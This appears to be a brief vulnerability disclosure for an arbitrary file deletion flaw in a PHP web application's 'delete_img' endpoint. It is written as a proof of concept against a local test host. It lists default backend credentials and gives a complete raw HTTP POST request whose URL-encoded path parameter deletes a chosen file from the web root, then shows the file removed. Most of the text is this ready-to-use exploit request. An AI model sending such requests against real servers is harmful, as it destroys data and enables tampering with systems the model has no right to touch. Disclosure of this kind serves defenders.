Vulnerability File: /ctpms/classes/Master.php?f=delete_img
Vulnerability location: /ctpms/classes/Master.php?f=delete_img, path
The password for the backend login account is: admin/admin123
Payload:
Here we delete the shel.php file in the root directory
POST /ctpms/classes/Master.php?f=delete_img HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=sbd29ujtf9eelnf4f6rlt8ikfi
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
path=C%3A%5Cxampp%5Chtdocs%5Cctpms%5Cshell.phpThe file path needs to be encoded by url
At present, the shell.php file is still in the root directory of the website, when we send a request to delete the shell.php file
The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.
By this time, shell.php has been deleted.
